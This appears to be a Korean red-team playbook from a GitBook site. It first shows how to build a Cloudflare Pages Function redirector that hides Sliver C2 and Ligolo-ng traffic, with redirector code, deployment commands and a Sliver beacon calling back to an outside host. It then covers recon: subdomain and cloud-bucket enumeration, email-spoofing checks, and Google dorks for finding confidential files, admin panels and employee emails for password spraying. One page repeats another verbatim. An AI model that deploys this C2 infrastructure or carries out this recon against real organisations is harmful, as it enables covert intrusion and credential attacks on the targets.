<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FwzPgwdYmDx8kgrsm7n3t%2Fcloudflare-pages-rdr.png?alt=media&amp;token=27790c29-32ca-49ed-9416-ebff97480a0c" alt=""><figcaption></figcaption></figure>

모든 설정이 끝나면 공격자의 트래픽은 위 다이어그램 처럼 전송된다.

1. 에이전트) 페이지 펑션의 URL인 `<커스텀도메인>.pages.dev` 로 콜백한다.
2. 펑션) 들어오는 트래픽에 대해 HTTP 헤더, 헤더 값, User Agent등을 확인한다. 터널로 리다이렉트 하기 전 인증을 위해 서비스 토큰(CF-Access-Client-Id, CF-Access-Client-Secret)을 붙여 백엔드 터널로 보낸다.
   1. 펑션) C2 에이전트의 요청이라면 C2 터널로 리다이렉트 한다.
   2. (펑션) Ligolo-ng 의 요청이라면 Ligolo-ng 터널로 리다이렉트 한다.) - 다른 페이지에서 다룬다
3. 터널) 각 터널들은 서비스 토큰을 통해 인증을 확인한 뒤, 각 터널에 연결된 각 호스트들에게 트래픽을 보낸다. C2는 AWS에 있는 C2 서버의 127.0.0.1:443으로 보낸다.

## 인프라 구성 단계

먼저 페이지 펑션 리다이렉터를 구축해 워커와는 어떻게 다른지 알아본다. 그 뒤, Ligolo-ng용 터널을 따로 구축해본다.

1. 공격자 C2 서버, 도메인, Malleable C2, C2 서버로의 클라우드플레어 터널 연결
2. 페이지 펑션 구축

1번은 저번 페이지에서 이미 다뤘으니, 패스 한다. 이 페이지에서는 페이지 펑션 리다이렉터 구축에 대해 알아본다.

## 인프라 - 페이지 펑션 구축

저번 페이지에서 수동으로 워커를 구축해봤으니, 이번에는 Wrangler를 사용해 프로그래매틱하게 구축해본다.

1. 클라우드플레어 API와 소통하기 위한 CLI 프로그램으로 Wrangler를 설치한다. 설치 후 로그인한다.

```bash
sudo apt update -y 
sudo apt install npm nodejs -y 
npm install wrangler --save-dev 
npx wrangler login 
```

2. 페이지 펑션에 필요한 하드코딩 비밀들을 업데이트한다. 아래 두 파일의 첫 10줄 정도를 동일하게 업데이트 한다.&#x20;

* `./functions/index.js`
* `./functions/[[catchall]].js`

터널 URL, C2 HTTP 헤더/값, User Agent, CF-Access-Client-Id, CF-Access-Client-Secret 등을 업데이트 한다. 아래는 예시다.

<pre class="language-bash"><code class="lang-bash"><strong># git clone 
</strong><strong>cd /opt 
</strong>git clone https://github.com/ChoiSG/CloudflarePagesRedirector.git
cd ./CloudflarePagesRedirector

# index.js, [[catchall]].js 모두 동일하게 업데이트 
└─$ vim/emacs/nano/code/whatever... ./functions/index.js
└─$ vim/emacs/nano/code/whatever... './functions/[[catchall]].js'

# 예시 결과 
└─$ cat ./functions/index.js| head -10              
export async function onRequest(context) {
    // !! UPDATE ME !! - HARDCODED SECRETS. Use wrangler.toml if you prefer more opsec.
    const SLIVER_ENDPOINT = "https://resources-en.shealthinsurance.com";
    const LIGOLO_ENDPOINT = "https://resources-li.shealthinsurance.com";
    const SERVICE_CF_ID = "&#x3C;REDACTED>.access";
    const SERVICE_CF_SECRET = "&#x3C;REDACTED>";
    const SLIVER_HEADER_NAME = ["testo-XHeader", "redteam-Client"];
    const SLIVER_HEADER_VALUE = ["testov2", "v1.0.0"];
    const SLIVER_UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.3339.396 Safari/537.36";
    const LIGOLO_UA = "ligolo-ua";

</code></pre>

**추가 설명 - index.js와 `[[catchall]].js`는 어떤 파일인가?**

리다이렉터 특성상 들어오는 요청의 URL 전체 (host, path, parameters, value)를 전달해야한다. 하지만 페이지 펑션의 Routing은 해당 펑션 이름을 기반으로 이뤄진다. 예를 들어 펑션 이름이 `myfunc.js`라면, `something.pages.dev/myfunc`로 들어오는 요청만 해당 펑션이 트리거된다.

하지만 대부분의 C2 트래픽은 URL을 모두 사용하는 경우가 많다. 예를 들자면 `https://redteam-playbook.pages.dev/environment.gitignore?_g=6_65p46268&c=p38y725080` 처럼 말이다. 심지어 뒤의 path, filename, parameters, values는 모두 랜덤으로 지정되는 경우도 존재한다.

때문에 이를 해결하려고 `index.js` 와 `[[catchall]].js` 이라는 특별한 Routing을 지원하는 펑션을 만들고, `_routes.json`을 만들어 페이지로 들어오는 모든 요청의 path/filename/parameter와 상관없이 리다이렉터 펑션(index/catchall)이 트리거 되도록 설정해놨다.

3. 배포한다.

```bash
└─$ npx wrangler pages deploy $PWD --project-name redteam-playbook --branch=main
✔ The project you specified does not exist: "redteam-playbook". Would you like to create it? › Create a new project
✔ Enter the production branch name: … main
✨ Successfully created the 'redteam-playbook' project.

✨ Uploading Functions bundle
✨ Uploading _routes.json
🌎 Deploying...
✨ Deployment complete! Take a peek over at https://8af14ac0.redteam-playbook.pages.dev
```

4. DNS Propagation이 끝났다면 리다이렉터를 이용한다.

* DNS Propagation은 약 5분 정도 걸린다.&#x20;

```bash
# 10초마다 DNS 확인하기  
$ watch -n 10 nslookup redteam-playbook.pages.dev

# Sliver v1.5.42 - 비컨 생성 (디버그 ON) 
sliver > generate beacon -S 5 -J 1 --debug -f exe -b https://redteam-playbook.pages.dev -s /tmp/pages-beacon.exe

# 실행 
PS C:\Users\Administrator\Downloads> .\pages-beacon.exe
[ . . . ] 
beacon.go:167: Beaconing -> https://redteam-playbook.pages.dev
httpclient.go:343: [http] POST -> https://redteam-playbook.pages.dev/environment.gitignore?_g=6_65p46268&c=p38y725080 (266 bytes)
httpclient.go:392: [http] New session id: 9dcd90539103f3a41be278a47163618a
sliver.go:178: Registering beacon with server
```

5. 코드 업데이트 후 재배포에는 동일한 wrangler 명령어를 사용한다.

```bash
npx wrangler pages deploy $PWD --project-name redteam-playbook --branch=main 
```

## 마치며

워커나 펑션 페이지를 이용하면 클라우드플레어의 `<커스텀도메인>.worker.dev` 혹은 `<커스텀도메인>.pages.dev` 을 이용해 C2 에이전트의 콜백을 받는 인프라를 간단하게 구성할 수 있다. 공격자의 입장에서는 도메인 신뢰도, 에이징, SEO, 스팸 필터, SSL/TLS 인증서 헌팅 등에 대해 거의 신경 쓸 필요가 없어지기 때문에 굉장히 편하다. 도메인 프론팅이나 리다이렉트에는 어쨌든 공격자의 CDN 및 도메인이 들어가기 마련인데, 위 방법의 경우는 그럴 필요가 없다.

방어자의 입장에서는 현재 환경에서 나가는 트래픽에 대해서 더 자세히 살펴봐야할 것이다. 우리 회사 특정 엔드포인트가 클라우드플레어 워커/페이지에 나름 일정한 주기로 계속해서 HTTP 요청/응답을 주고 받고 있다면, 충분히 의심스러운 상황이다. 아니면 아예 `worker.dev, pages.dev` 등의 도메인 자체를 블랙리스트 해버리는 경우도 있겠다.

물론 요즘 SaaS 및 서버리스 트렌드에 따라 더 많은 서비스들과 인터넷 트래픽이 더이상 커스텀 도메인을 사용하지 않고, 클라우드 회사들의 도메인을 사용하고 있기 때문에 블랙리스트는 좀 더 신중하게 해야할 것이다. 수 많은 클라우드 회사의 수 많은 서비스들을 일일히 찾아가며 별의별 도메인 (`worker.dev, pages.dev, azurewebsite.net, azureedge.net, azure-api.net, 등등등...)` 을 모두 차단해버린다면, 요즘날의 인터넷을 사용하거나, 이를 바탕으로 개발하는 것이 거의 불가능할지도 모르겠다 싶다.


# 개념

TODO&#x20;


# 타겟 발견

초기 정찰 단계에서는 OSINT와 외부망 정찰을 통해 타겟 기관의 외부망 자산, 클라우드 자산, (서브)도메인, 모바일 앱, 회사 조직도, 인원 현황, 이메일 주소 등을 수집한다. 초기 정찰을 진행하며 앞으로 공격할 타겟들을 정리하는 기술적인 작업을 공격 표면 탐색/발견 (Attack Surface Discovery) 혹은 타겟 발견(Target Discovery)이라고도 한다.

타겟 발견 단계에서 집중적으로 수집하는 타겟의 종류는 다음과 같다.

1. 도메인과 서브도메인
2. IP주소
3. 클라우드 서비스 프로바이더 소속 IP 주소
4. 주요 네트워크 서비스와 포트
5. 유저/직원 이메일 주소
6. 메일 서비스/서버 및 이메일 게이트웨이
7. SaaS 및 PaaS 사용 여부

이외 OSINT를 통해 다른 종류의 자산과 자원들을 수집한다.

이 페이지에서는 특정 기관의 이름이 주어졌을 때 타겟 발견 단계를 통해 외부적으로 공격 가능한 타겟들을 정리해본다. 외부망 모의해킹 시 대부분 특정 도메인 및 아이피 범위가 제공되지만, 이번에는 아무런 정보 없이 레드팀을 진행한다고 가정해본다.

### 방법론

다음은 간단한 타겟 발견 방법론이다.

1. 루트 도메인 수집
2. 루트 도메인 기반으로 서브도메인 수집
3. 루트 도메인 기반으로 클라우드 관련 간단 DNS 브루트포스 진행
4. 수집한 서브도메인 DNS Resolution으로 IP 주소 확보
5. 확보한 IP주소 클라우드 프로바이더 소속 확인
6. 수집한 서브도메인 기반 STO 확인
7. 웹서버 확인
8. 웹서버 스크린샷 수집
9. 메일 서버 및 이메일 보안 확인
10. 클라우드 관련 OSINT 진행
    1. S3 bucket
    2. Azure Blob Storage
    3. Dark Web Leaks
    4. 클라우드 기반 SVN -> API 및 Access Token 수집
11. OSINT 진행
    1. OSINT 페이지 참고
12. 분산 스캔(Distributed Scanning)을 이용한 포트 스캔 진행

최근 Attack Surface Management SaaS나 프레임워크들이 많아지면서 위 방법론들을 자동화하는 경우가 많이 있다. 하지만 자동화된 솔루션들은 여러모로 작전보안에 위험할때가 많이 있다. 또한, 타겟 발견을 수동적으로 진행하면서 어느정도의 추론/추리가 들어가기 때문에 100% 자동화 하는 것은 그렇게 추천하지 않는다.

### 루트 도메인

"고객사" 이름 하나만 주어졌을 때 가장 먼저 해야하는 것들은 해당 고객사가 어떤 루트 도메인들을 가지고 있나 살펴보는 것이다. 특히 작은 기업이 아니라 계열사들을 가지고 있는 경우 다양한 루트 도메인들을 알아낼 수 있다.

1. 검색 엔진 - "고객사" 이름을 쳤을 때 나오는 도메인들
2. TLS/SSL 인증서 - "고객사" 이름과 연관된 SSL 인증서들과 해당 인증서가 적용된 (서브)도메인들을 찾아본다

예를 들어 다음과 같은 루트 도메인들이 나왔다고 가정한다.

```
# cat domains.txt 
example.com 
examplecorp.com 
example.im 
examplebank.com 
```

### 도메인과 서브 도메인

루트 도메인을 기반으로 서브도메인을 OSINT를 통해 수집한다. 이를 자동화 하기 위한 툴로 amass, theHarvester, subfinder 등을 이용한다.

```
amass enum -d domain.com -passive -o amass-domain.com 
theHarvester -d domain.com -b all -f domain.com.json 
subfinder -d domain.com -rl 30 -t 10 -silent -active -o subfinder-domain.com 

# 예시) 루트 도메인을 돌며 커맨드 실행 
for i in `cat domains.txt`; do amass enum -d $i -passive -o amass-$i; done 
for i in `cat domains.txt`; do theHarvester -d $i -b all -f theHarvester-$i.json ; done
for i in `cat domains.txt`; do subfinder -d $i -rl 30 -t 10 -silent -o subfinder-$i | tee subfinder-$i ; done

# 파싱 후 서브도메인 수집 
cat amass* > tmp.txt
cat subfinder* >> tmp.txt 
jq -r '.hosts[]' theHarvester-*.json >> tmp.txt
cat tmp.txt | sort -fuV > subdomains-unresolved.txt
```

### 서브도메인 테이크오버 (STO) 체크

DNS Resolution을 진행하기 전 간단하게 STO체크를 한다.

```
# dnsreaper (https://github.com/punk-security/dnsReaper.git)
python3 main.py file --filename subdomains-unresolved.txt 
```

### DNS Resolution과 아이피주소

서브도메인들을 모두 찾아냈다면 DNS resolution을 통해 아이피주소를 알아낸다.

```
# dnsx (https://github.com/projectdiscovery/dnsx)
dnsx -l subdomains-unresolved.txt -resp -a -cname -mx -txt -t 30 -rl 30 -silent -o dnsx-resolved.txt 

# 아이피주소만 가져오기 
cat dnsx-resolved.txt | grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' | sort -fuV > rawips.txt 

# 서브도메인만 가져오기 
cat dnsx-resolved.txt | cut -d ' ' -f 1 | sort -fuV > subdomains-resolved.txt 
```

### DMZ 및 클라우드 확인

확보한 아이피주소들이 on-prem DMZ/데이터센터에 있는지 혹은 클라우드 자산인지 확인한다. 그 뒤, 서브도메인 + 아이피주소 + 클라우드 프로바이더 리스트를 생성한다.

```
# ip2provider (https://github.com/oldrho/ip2provider)
cat rawips.txt | python3 ip2provider.py | tee ipcloud.txt 

# 서브도메인, 아이피주소, 클라우드 프로바이더 체크 스크립트 (subipcloud.sh)
====================================
#!/bin/bash
if [ "$#" -ne 2 ]; then
    echo "Usage: $0 <ip2provider_file> <dnsx_file>"
    exit 1
fi

ip2provider_file="$1"
dnsx_file="$2"

while IFS= read -r line; do
    ip=$(echo $line | awk '{print $1}')
    grep -F "[$ip]" "$dnsx_file" | while read -r match; do
        subdomain=$(echo $match | cut -d' ' -f1)
        echo "$subdomain $ip ${line#* }" >> output.txt
    done
done < "$ip2provider_file"

echo '[+] output.txt created'
====================================

./subipcloud.sh ipcloud.txt dnsx-resolved.txt 
```

### 웹서버 확인 & 스크린샷

웹서버 빠른 확인

```
# httpx (https://github.com/projectdiscovery/httpx) 
cat subdomains-resolved.txt | httpx -silent -title -follow-redirects -status-code -delay 400ms -t 10 -rl 30 -random-agent -o httpx-alive-web.txt 
```

웹서버 스크린샷

```
# httpx 이용해도 되지만 gowitness 사용 
mkdir gowitness 

gowitness file -f subdomains-resolved.txt --delay 5 -P ./gowitness --timeout 10 --user-agent 'Mozilla/5.0 (Macintosh; Intel Mac OS X 11_15_7) AppleWebKit/557.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/517.36'
```

### Azure, O365 확인

```
https://login.microsoftonline.com/getuserrealm.srf?login=test@domain.com&xml=1
```

* O365 사용여부 확인
* Managed = AAD 사용중, PHS 혹은 PTA
* Federated = ADFS 사용중, AuthURL을 통해서 ADFS 서버 및 SSO 프로바이더 (OKTA, 등) 확인

### 이메일 서버 보안 확인

DNSX에서 수집한 MX와 TXT 레코드를 자세히 살펴본다.

* SPF, DKIM, DMARC 등의 레코드를 살펴보며 어느 도메인이 스푸핑 가능한 도메인인지 확인한다. 그 뒤, 수동적으로 체크하거나 서비스(<https://dmarc-tester.com/)들을> 이용해 스푸핑을 확인한다.
* 스푸핑이 가능한 도메인들은 나중에 소셜엔지니어링에 쓰면 좋으니 기록해둔다.
* MX레코드와 SPF를 통해 어떤 메일 서비스를 쓰고 있는지 확인한다.
  * O365, Amazon SES, Google Apps, Proofpoint, mailchimp, mandrill 등
* 이메일 보안 및 게이트웨이를 살펴본다

### 유저 이메일 확인

OSINT와 다크웹 서비스들을 이용해 유저들의 이메일을 확인한다.

* 깃헙리포 + gitleaks -> 이메일
* 다크웹 서비스
* 파일 메타데이터 (FOCA, 등)
* 링크드인

타겟 기관이 o365를 사용한다면 해당 이메일이 존재하는지 확인한다. REDACTED

### 분산 스캔을 통한 포트 스캔

TODO - 따로 페이지 생성

### S3 Bucket 및 Azure Blob Storage

```
# cloud_enum.py (https://github.com/initstring/cloud_enum)
python3 cloud_enum.py -k domain.com --disable-gcp | tee cloud_enum-domain.com 
```


# OSINT

공개 출처 정보 (OSINT: Open-Source Intelligence)는 이미 공개된 출처에서 수집한 정보를 일컫는다. OSINT 자체의 뜻과는 관계없이 레드팀 작전 시 OSINT라고 한다면 **공개 출처 정보 수집**의 의미를 갖는다. 간단하게 생각하면 타겟의 기술적, 인적 자원과 직접적인 소통 없이 타겟에 관련된 정보를 수집하는 단계를 일컫는다.

이 플레이북에서는 레드팀 작전시 OSINT 단계에서는 어떤 방법론을 갖고 어떤 정보들을 수집하는지에 대해서 알아본다. 대부분 레드팀 작전은 민간 기업들을 대상으로 이뤄지기 때문에 정부/정보기관 및 개인을 타겟으로 하는 OSINT에 대해서는 다루지 않는다.

레드팀의 OSINT 단계에서는 다음과 같은 정보들을 수집한다.

* 타겟의 배경 지식 (역사, 관련 업계, M\&A, 플래그쉽 제품/서비스, 최근 호재/악재)

**네트워킹**

* ASN (Autonomous System Number)
* IP Net Blocks
* 도메인과 서브도메인
* 도메인과 연결되어 있는 호스트들의 IP 주소
* 도메인 CNAMEs

**인적 자원**

* 이메일 주소 형식
* 조직도
* 직원 이메일 주소
* C-Suite 임원들의 이름, 직무, 전화번호, 이메일 주소
* LinkedIn 등의 SNS
* 업무/직무 관련된 자료

**기술적 자산**

* 외부 접근 가능한 호스트 - IP주소, FQDN
* 외부 접근 가능한 포트 + 배너
* 클라우드 기반 외부 접근 가능한 호스트/포트 + 배너
* SaaS 관련 자료

**다크 웹**

* 과거 해킹 사고 이력
* 과거 덤프 - 계정 정보, 직원 정보

**기타 자원**

* 구글 도킹 가능한 파일 및 문서
* 오픈소스 코드 - Github, Gitlab, BitBucket, 등
* 웨이백 머신 및 아카이브

OSINT에서 수집한 정보들은 모두 초기 침투에 사용될 수 있기 때문에 꼼꼼하게 수집해야한다.


# 작전보안

공개 출처 정보 (OSINT: Open-Source Intelligence)는 이미 공개된 출처에서 수집한 정보를 일컫는다. OSINT 자체의 뜻과는 관계없이 레드팀 작전 시 OSINT라고 한다면 **공개 출처 정보 수집**의 의미를 갖는다. 간단하게 생각하면 타겟의 기술적, 인적 자원과 직접적인 소통 없이 타겟에 관련된 정보를 수집하는 단계를 일컫는다.

이 플레이북에서는 레드팀 작전시 OSINT 단계에서는 어떤 방법론을 갖고 어떤 정보들을 수집하는지에 대해서 알아본다. 대부분 레드팀 작전은 민간 기업들을 대상으로 이뤄지기 때문에 정부/정보기관 및 개인을 타겟으로 하는 OSINT에 대해서는 다루지 않는다.

레드팀의 OSINT 단계에서는 다음과 같은 정보들을 수집한다.

* 타겟의 배경 지식 (역사, 관련 업계, M\&A, 플래그쉽 제품/서비스, 최근 호재/악재)

**네트워킹**

* ASN (Autonomous System Number)
* IP Net Blocks
* 도메인과 서브도메인
* 도메인과 연결되어 있는 호스트들의 IP 주소
* 도메인 CNAMEs

**인적 자원**

* 이메일 주소 형식
* 조직도
* 직원 이메일 주소
* C-Suite 임원들의 이름, 직무, 전화번호, 이메일 주소
* LinkedIn 등의 SNS
* 업무/직무 관련된 자료

**기술적 자산**

* 외부 접근 가능한 호스트 - IP주소, FQDN
* 외부 접근 가능한 포트 + 배너
* 클라우드 기반 외부 접근 가능한 호스트/포트 + 배너
* SaaS 관련 자료

**다크 웹**

* 과거 해킹 사고 이력
* 과거 덤프 - 계정 정보, 직원 정보

**기타 자원**

* 구글 도킹 가능한 파일 및 문서
* 오픈소스 코드 - Github, Gitlab, BitBucket, 등
* 웨이백 머신 및 아카이브

OSINT에서 수집한 정보들은 모두 초기 침투에 사용될 수 있기 때문에 꼼꼼하게 수집해야한다.


# 자산 정보 수집

자산 정보 수집 (Asset Enumeration, Public Asset Enumeration, Initial Reconnaissance, Publicly-facing Inventory Management, etc.) 은 타겟 기관의 인터넷에 연결된 호스트들을 찾고 맵핑하는 단계를 일컫는다. 외부망 모의해커에게 "고객사" 라는 이름 하나만 주어졌을 때, 이 고객사가 운영중인 인터넷에 연결된 자산 (워크스테이션, 서버, 클라우드 자산, etc) 을 찾는 단계가 바로 자산 정보 수집 단계다.

수집하는 정보들 중 일부는 다음과 같다:

* 도메인과 서브도메인 정보 수집
* IP 주소 범위 (IP Range) 를 통해 범위를 알아낸 뒤 간단한 스캔
  * WHOIS
  * Autonomous System Number (ASN)
  * NetblockTool
* 자산 검색 엔진/인터넷 취약점 스캐너등을 이용한 정보 수집
  * Shodan
  * Censys.io
  * (이외 수많은 비슷비슷한 서비스들...)

### 도메인과 서브도메인

"고객사" 이름 하나만 주어졌을 때 관련된 자산을 찾기 가장 편한 방법은 바로 도메인과 서브도메인을 이용해 호스트들을 찾는 것이다. 도메인과 관련된 서브 도메인들은 다음과 같은 방법으로 찾을 수 있다.

1. 검색 엔진 - "고객사" 이름을 쳤을 때 어떤 도메인들이 나오는가?
2. TLS/SSL 인증서 - "고객사" 이름과 비슷한 인증서들이 등록되거나 파기된 레코드가 존재하는가?
3. 브루트포스 - \*.고객사.com 도메인이 존재하는지 알아보기 위해 "\*" 자리에 도메인 이름에 자주 사용되는 단어들(vpn, info, internal, github, etc.)을 넣어 호스트가 반응 하는 지 등을 알아본다.

\#3번 도메인 브루트포스는 타겟 호스트와 네트워크적 연결이 되고, 공격의 의도가 있다고 판단될 수 있기 때문에 "사이버 공격"으로 간주될 수 있다. 따라서 외부망 모의해킹 등의 이용 허락이 없다면 절로 사용해서는 안된다.

#### 실습

도메인 정보 수집을 수동으로 해도 되지만, 시간이 너무 오래 걸린다. 따라서 실습에서는 amass 와 theHarvester 두 개의 툴을 이용해 서브도메인들을 알아보자.

Amass는 `-passive` 플래그를 사용할 경우 오로지 OSINT만 이용해 타겟 호스트에 접근하지 않고 서브도메인을 정보 수집하는 도구다. 유의할 점은 타겟 호스트에 접근하지 않기 때문에 반환된 서브도메인을 사용하고 있는 호스트가 실제로 아직까지 작동하고 있는지 아닌지 모른다는 것이다. 이는 추가 스캔이나 추후 알아볼 스크린샷을 찍는 기법등으로 알아낼 수 있다.

```
# amass enum -passive -d cafe.naver.com -o naver-subdomain.txt

< ... > 
sports.news.cafe.naver.com
ws-aicall.store.cafe.naver.com
naverapp.m.cafe.naver.com
bulletin.nexon.game.cafe.naver.com
travelsearch-api.cafe.naver.com
m.search.cafe.naver.com
admin.commentbox.cafe.naver.com
< ... >
```

theHarvester 또한 다양한 OSINT와 인터넷 포트 스캐너 서비스들 (Shodan, Censys, Security Trails) 등을 이용해 호스트 뿐만 아니라 전반적인 OSINT를 진행해주는 툴이다. theHarvester 의 진정한 위력은 바로 서비스나 검색 엔진들의 유료 API키가 있을 때 발휘된다. API 키만 주면 알아서 API 요청, 반환, 그리고 파싱을 진행한다. 이번 실습은 본인이 돈이 없기 때문에 API키는 지정하지 않고 진행한다.

```
# theHarvester -d cafe.naver.com -b all -f cafe-naver-com-theHarvester

< ... > 
[*] Hosts found: 53
---------------------
253am.cafe.naver.com
bridge.cafe.naver.com:223.130.195.199
chat.cafe.naver.com
downapi.cafe.naver.com:223.130.192.249, 223.130.192.250
g.cafe.naver.com:210.89.168.65, 210.89.168.33
golda.cafe.naver.com:223.130.192.249, 223.130.192.250
< ... >
```

### IP 주소 범위 (IP Ranges)

어느정도 기업 역사가 길거나 규모가 큰 대기업들은 특정 공인 IP 주소 범위를 할당 받는다. 중소기업이나 중견 기업등의 규모가 작은 회사들은 할당 받지 않고, 클라우드나 VPS 등의 인터넷 자산을 사용하는 경우가 많다. 물론 대기업들 또한 2022년 기준으로 인터넷에 연결되는 자산들은 DMZ + 공인 IP 주소 범위를 사용하지 않고 그냥 클라우드에 올리는 경우도 많다.

전통적인 공인 IP 주소 범위는 WHOIS 나 Autonomous System Number (ASN) 을 검색한 뒤 찾아보면 알아낼 수 있다. WHOIS는 전세계에 있는 도메인 등록기관에 등록된 도메인 이름 혹은 회사 이름과 관련된 정보를 반환해준다.

```
# Asia Pacific 에 있는 마이크로소프트사의 정보 
└─# whois -h whois.apnic.net Microsoft                                                            
% [whois.apnic.net]                                                                                
% Whois data copyright terms    http://www.apnic.net/db/dbcopyright.html                          
                                                                                                  
% Information related to '58.246.69.164 - 58.246.69.167'                                          
                                                                                                  
% Abuse contact for '58.246.69.164 - 58.246.69.167' is 'hqs-ipabuse@chinaunicom.cn'               
                                                                                                  
inetnum:        58.246.69.164 - 58.246.69.167                                                     
netname:        Microsoft                                                                          
country:        cn                                                                                
descr:          Microsoft (China) Co., Ltd. 

< ... > 
```

예를 들어 위 예시의 경우 마이크로소프트사의 중국 관련 공인 IP 주소 중 일부가 `58.246.69.164 - 58.246.69.167` 레인지에 있음을 알 수 있다. 마이크로소프트사에 할당된 중국 IP주소가 4개 밖에 없는 것이 아니라 반환된 결과가 너무 길어 잘라냈다.

### 자산 검색 엔진 / 인터넷 포트 스캐너

경계선 보안 (Parameter Security)가 중요시 되면서 2010년대 초반 이후 다양한 인터넷 포트 스캐너 + 취약점 스캐너들이 만들어졌고, 이를 인덱싱한 서비스들이 많아졌다. 초반에는 IoT와 OT 중심으로 하다가 이제는 전반적인 자산 검색엔진이 된 Shodan, 그리고 포트 및 취약점 중심의 Censys.io 등이 있다.

인터넷에 찾아보면 가끔씩 "이상한 곳에서 포트 스캐닝 공격이 들어와요. 저 이제 해킹 당하는건가요?" 와 비슷한 질문들을 볼 수 있다. 대부분 그냥 Shodan/Censys 와 비슷한 서비스들에서 사용하는 포트 스캐너들이다.

이런 서비스들을 이용해 특정 기관의 어떤 호스트들이 있는지, 그리고 그 호스트들은 어떤 포트와 네트워크 서비스를 사용하고 있는지 정보 수집을 할 수 있다.

서비스들이 너무 많고 다양해 실습은 생략한다. 만약 각 서비스들에 방문해 유료 API키를 사고, API 사용법을 익히고, CLI 프로그램을 다운받아 사용하는게 귀찮다면, 위에서 살펴본 theHarvester 와 같은 툴들을 이용해 이런 서비스 들을 사용하는 것을 자동화하는 것도 좋다. 실제로 버그바운티 헌터들이 많이 사용하는 방법이기도 하다.

### 레퍼런스

{% embed url="<https://github.com/NetSPI/NetblockTool>" %}


# 구글 도킹

우리가 흔히 사용하는 구글, 네이버, 덕덕고 같은 검색 엔진들은 인터넷을 돌아다니는 수 많은 크롤러들이 각 페이지들을 발견한 뒤, 링크를 걸어놓은 데이터베이스일 뿐이다. 회사 직원들이 실수로 올려놓은 문서나, 인터넷에 연결되면 안되는 서버들이 인터넷에 연결될 때 이 크롤러들이 방문한다면, 발견되서는 안되는 페이지들이나 파일들이 검색엔진에 링크가 되기도 한다.

구글 도킹 (Google Dorking)은 구글 검색 엔진의 고급 검색 기능을 활용하는 OSINT 기법을 일컫는다. 원래는 구글에만 해당되는 기법이였지만, 요새는 다른 검색 엔진의 고급 검색을 이용하는 방법도 구글 도킹이라고 한다. 구글 도킹에는 다양한 종류가 있지만, 가장 많이 사용되는 파라미터들은 다음과 같다.

| 파라미터     | 기능           | 예시                                                                  |
| -------- | ------------ | ------------------------------------------------------------------- |
| site     | 특정 도메인       | site:\*.example.com, site:[www.example.com](http://www.example.com) |
| intitle  | 문서나 페이지의 타이틀 | intitle:login, intitle:vpn, intitle:authenticate                    |
| filetype | 파일의 확장자      | filetype:pdf, filetype:docx, filetype:hwp                           |
| intext   | 페이지안의 문자열    | intext:"Index of /admin", intext:"phpmyadmin"                       |
| inurl    | URL안의 단어     | inurl:s3.amazonaws.com, inurl:ftp, inurl:web.config                 |

이 외에도 많은 파라미터들이 있고, 이는 레퍼런스 섹션에서 확인 가능하다.

파라미터안에 들어가는 값들은 AND 와 OR 같은 논리적 연산자와도 같이 쓰일 수 있다. 예를 들자면 "파일 이름에 입사지원서 가 들어가는 pdf 파일 혹은 docx 파일 모두 보여줘" 는 - `입사지원서 filetype:(pdf | docx)` 로 표기가 가능하다.

### 실습

이 페이지에서는 간단한 구글 도킹 예시를 알아볼 것이다. 좀 더 다양하고 복잡한 구글 도킹은 [exploit-db 레퍼런스](https://www.exploit-db.com/google-hacking-database)를 참고하면 된다.

다음의 시나리오를 가정해보자

> 고객사 A를 상대로 외부망 모의해킹을 진행하고 있다. 고객사 보안팀 팀장님께서는 "혹시 구글에 우리 회사의 기밀이나 비밀 문서들이 링크되어 있지는 않은가 불안하다." 라고 말씀하셨다. 모의해커로서 능동적으로 이를 알아본 뒤 보고하자.

위 시나리오를 기반으로 구글 도킹을 만든다면, 일단 "비밀" 혹은 "기밀"과 관련된 문서를 찾아야한다. 이런 문서들은 대부분 pdf, docx 등의 문서형식으로 저장되어 있다. 또한, 거짓 양성 결과를 줄이기 위해 양식 문서들이나 "계약서" 등의 문서들은 제외시키자.

그러면 다음의 구글 도킹이 만들어진다:

```
"<고객사 이름>" site:*.고객사.com filetype:( pdf | docx | xlsx | doc | xls ) 대외비|영업비밀보호|부정경쟁방지 -계약서 -서약서 -사직서 -요청서 -동의서 -기획서 -지원서 -법률
```

"고객사 이름" 이 들어가며, 고객사의 도메인 및 모든 서브 도메인 `*.고객사.com` 을 검색한 뒤, `pdf 혹은 docx 혹은 xlsx 혹은 doc 혹은 xls` 등의 문서 및 엑셀 파일을 찾는다. 해당 문서/엑셀 파일에 `대외비, 영업비밀보호, 부정경쟁방지` 등의 키워드가 들어가 있으면 좋고, 거짓 양성 결과를 줄이기 위해 양식 문서들에 자주 나오는 표현인 `계약서 서약서 사직서 요청서 동의서 기획서 지원서 법률` 등의 키워드들은 제외한다.

### 실습 2

위에서는 기밀/비밀 문서들을 상대로 하는 구글 도킹을 사용했지만, 구글 도킹은 초기 침투에 사용될 수도 있다. 잘못 설정되어 파일이나 설정 파일을 노출하고 있는 웹서버들을 찾기 위해 다음과 같은 구글 도킹을 사용할 수도 있다.

```
site:*.고객사.com intitle:"admin panel" OR intitle:"request password" intext:"email address"
```

위 구글 도킹은 고객사.com 과 모든 서브도메인 내의 페이지 타이틀에 "admin panel" 혹은 "request password" "email address"가 필요한 페이지들을 검색한다. 대부분 관리자 로그인 포탈 결과가 반환된다.

### 실습 3

초기 침투에서 o365나 공개된 Exchange 서버를 상대로 비밀번호 스프레이 공격을 하려면 타겟 기관의 유저 이름들이 필요하다. 이 또한 구글 도킹과 SNS를 이용해 알아낼 수 있다.

```
"연락주세요" | "연락 주세요" "@<고객사이름>.com" site:linkedin.com
"contact me at" "@<고객사이름>.com" site:linkedin.com "고객사" 
```

\---

이처럼 구글 도킹은 기밀/비밀 문서, 잘못 설정된 서버, 유저 이름 및 이메일 주소 등을 알아내기 위해 사용될 수 있다.

### 대응 방안

구글 도킹이 성공하려면 일단 중요한 정보가 인터넷에 공개되어 있어야 하고, 검색 엔진들의 크롤러가 이를 등록해야한다. 가장 좋은 대응 방안은 바로 공개되어선 안되는 정보들을 공개하지 않는 것이다.

